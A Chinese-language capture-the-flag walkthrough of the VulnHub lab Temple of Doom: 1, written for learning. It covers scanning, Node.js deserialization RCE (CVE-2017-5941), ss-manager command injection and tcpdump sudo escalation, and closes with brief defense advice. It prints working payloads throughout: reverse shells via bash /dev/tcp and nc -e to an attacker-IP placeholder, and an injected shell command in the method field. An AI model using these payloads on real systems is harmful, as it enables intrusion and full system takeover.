VulnHub-Temple of Doom: 1-靶机渗透学习
字数 1100 2025-08-15 21:33:19

Temple of Doom 靶机渗透教学文档

靶机概述

  • 名称: Temple of Doom: 1
  • 难度: 中级(CTF)
  • 发布日期: 2018年6月8日
  • 创建者: 0katz
  • 测试环境: VirtualBox
  • 目标: 获取root权限并找到flag.txt
  • 特点: 提供2种提权方法

信息收集阶段

1. 网络扫描

使用nmap进行初始扫描:

nmap -sV <靶机IP>

发现开放端口:

  • 22端口: SSH服务
  • 666端口: Node.js Express框架Web应用

2. Web应用枚举

访问80端口无有用信息,使用工具扫描:

dirb http://<靶机IP>
nikto -h http://<靶机IP>

漏洞利用阶段

1. Node.js反序列化远程代码执行(CVE-2017-5941)

发现过程:

  • 使用Burp Suite抓包发现Cookie值为Base64编码
  • 解码后获得不完整的JSON字符串:
    {"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D
    
  • 修复格式后重新编码提交

漏洞利用:
构造恶意序列化对象执行命令:

{
  "username": "_
$$
ND_FUNC
$$
_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)})}()"
}

Base64编码后提交,获得当前用户为nodeadmin

2. 获取反弹shell

修改payload获取交互式shell:

{
  "username": "_
$$
ND_FUNC
$$
_function(){return require('child_process').execSync('bash -i >& /dev/tcp/<攻击机IP>/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)})}()"
}

在攻击机监听:

nc -lvnp 5555

权限提升阶段

1. 发现fireman用户

在/home目录发现fireman用户,但无访问权限。发现该用户运行了ss-manager进程。

2. 利用ss-manager命令执行漏洞

步骤:

  1. 检查8839端口(UDP):
    nc -u 127.0.0.1 8839
    
  2. 构造恶意JSON执行命令:
    add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}
    
  3. 获取fireman用户的shell:
    add: {"server_port":8003, "password":"test", "method":"||bash -i >& /dev/tcp/<攻击机IP>/6666 0>&1||"}
    
  4. 在攻击机监听新端口:
    nc -lvnp 6666
    

3. 利用tcpdump提权

发现fireman有sudo权限可执行tcpdump:

  1. 创建反弹shell脚本:

    echo "nc -e /bin/bash <攻击机IP> 7777" > /tmp/shell.sh
    chmod +x /tmp/shell.sh
    
  2. 利用tcpdump执行:

    sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
    

    参数说明:

    • -i eth0: 指定网络接口
    • -w /dev/null: 不保存捕获数据
    • -W 1 -G 1: 限制文件数量为1
    • -z /tmp/shell.sh: 旋转后执行脚本
    • -Z root: 以root权限执行
  3. 在攻击机监听:

    nc -lvnp 7777
    

最终阶段

  1. 获取完整TTY:
    python -c 'import pty; pty.spawn("/bin/bash")'
    
  2. 查找flag:
    find / -name flag.txt 2>/dev/null
    

技术要点总结

  1. Node.js反序列化漏洞:
    • 利用`_

\[ND_FUNC \]

_`标记执行任意代码

  • 通过child_process模块执行系统命令
  1. ss-manager漏洞:

    • 通过UDP端口8839发送恶意配置
    • 利用method字段的命令注入特性
  2. tcpdump提权:

    • 利用-z参数执行任意脚本
    • 结合-Z root以root权限执行

防御建议

  1. 及时更新Node.js和相关组件
  2. 对用户输入进行严格过滤和验证
  3. 限制sudo权限,避免不必要的命令执行
  4. 对敏感服务进行网络隔离
  5. 定期审计系统配置和权限设置
Temple of Doom 靶机渗透教学文档 靶机概述 名称 : Temple of Doom: 1 难度 : 中级(CTF) 发布日期 : 2018年6月8日 创建者 : 0katz 测试环境 : VirtualBox 目标 : 获取root权限并找到flag.txt 特点 : 提供2种提权方法 信息收集阶段 1. 网络扫描 使用nmap进行初始扫描: 发现开放端口: 22端口 : SSH服务 666端口 : Node.js Express框架Web应用 2. Web应用枚举 访问80端口无有用信息,使用工具扫描: 漏洞利用阶段 1. Node.js反序列化远程代码执行(CVE-2017-5941) 发现过程 : 使用Burp Suite抓包发现Cookie值为Base64编码 解码后获得不完整的JSON字符串: 修复格式后重新编码提交 漏洞利用 : 构造恶意序列化对象执行命令: Base64编码后提交,获得当前用户为 nodeadmin 2. 获取反弹shell 修改payload获取交互式shell: 在攻击机监听: 权限提升阶段 1. 发现fireman用户 在/home目录发现fireman用户,但无访问权限。发现该用户运行了ss-manager进程。 2. 利用ss-manager命令执行漏洞 步骤 : 检查8839端口(UDP): 构造恶意JSON执行命令: 获取fireman用户的shell: 在攻击机监听新端口: 3. 利用tcpdump提权 发现fireman有sudo权限可执行tcpdump: 创建反弹shell脚本: 利用tcpdump执行: 参数说明: -i eth0 : 指定网络接口 -w /dev/null : 不保存捕获数据 -W 1 -G 1 : 限制文件数量为1 -z /tmp/shell.sh : 旋转后执行脚本 -Z root : 以root权限执行 在攻击机监听: 最终阶段 获取完整TTY: 查找flag: 技术要点总结 Node.js反序列化漏洞 : 利用 _$$ND_FUNC$$_ 标记执行任意代码 通过 child_process 模块执行系统命令 ss-manager漏洞 : 通过UDP端口8839发送恶意配置 利用 method 字段的命令注入特性 tcpdump提权 : 利用 -z 参数执行任意脚本 结合 -Z root 以root权限执行 防御建议 及时更新Node.js和相关组件 对用户输入进行严格过滤和验证 限制sudo权限,避免不必要的命令执行 对敏感服务进行网络隔离 定期审计系统配置和权限设置